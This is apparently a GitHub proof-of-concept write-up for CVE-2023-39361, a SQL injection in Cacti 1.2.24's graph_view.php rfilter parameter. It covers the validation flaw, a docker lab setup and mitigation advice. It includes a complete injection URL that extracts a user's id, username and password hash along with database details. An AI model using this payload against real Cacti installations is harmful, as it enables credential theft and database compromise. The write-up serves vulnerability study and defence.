chodeokcheol/cve-2023-39361Proof-of-concept exploit for CVE-2023-39361, a SQL injection in Cacti graph_view.php leading to data exfiltration and potential RCE.
[ WHS 3rd ] - Nam Gichan_7342 (ChoDeokCheol)
grow_right_pane_tree function of the graph_view.php file in Cacti 1.2.24.action parameter is set to tree_content, the user-supplied rfilter parameter is present.rfilter parameter is validated via the html_validate_tree_vars function, but that validation only checks whether it is a valid regular expression.rfilterdocker-compose -v.docker compose up -d (image: cacti:1.2.24).
This vulnerability occurs when the authentication settings allow even normal users (guests) to view graphs.
It can be confirmed by providing the following parameter input:
%20OR%20""="((" : A typical SQL injection code. It forces a true condition using OR.%20UNION%20SELECT% : Retrieves arbitrary desired results.(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : Requests id#username#password values.(select%20user()),(select%20version()) : Retrieves the database user / version.%23 : Since this is #, the following SQL statement is neutralized.
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
It can be seen that the response was given as requested.
SQL injection attacks typically occur when user input is accepted during server interaction. This SQL injection attack compromised the confidentiality of the database and resulted in asset leakage.
As a countermeasure against this SQL injection, basic whitelist validation of the rfilter value can be implemented, or special characters (", ', ;, ...) can be escaped. Alternatively, improvements such as using an ORM library like Doctrine for database access can be made.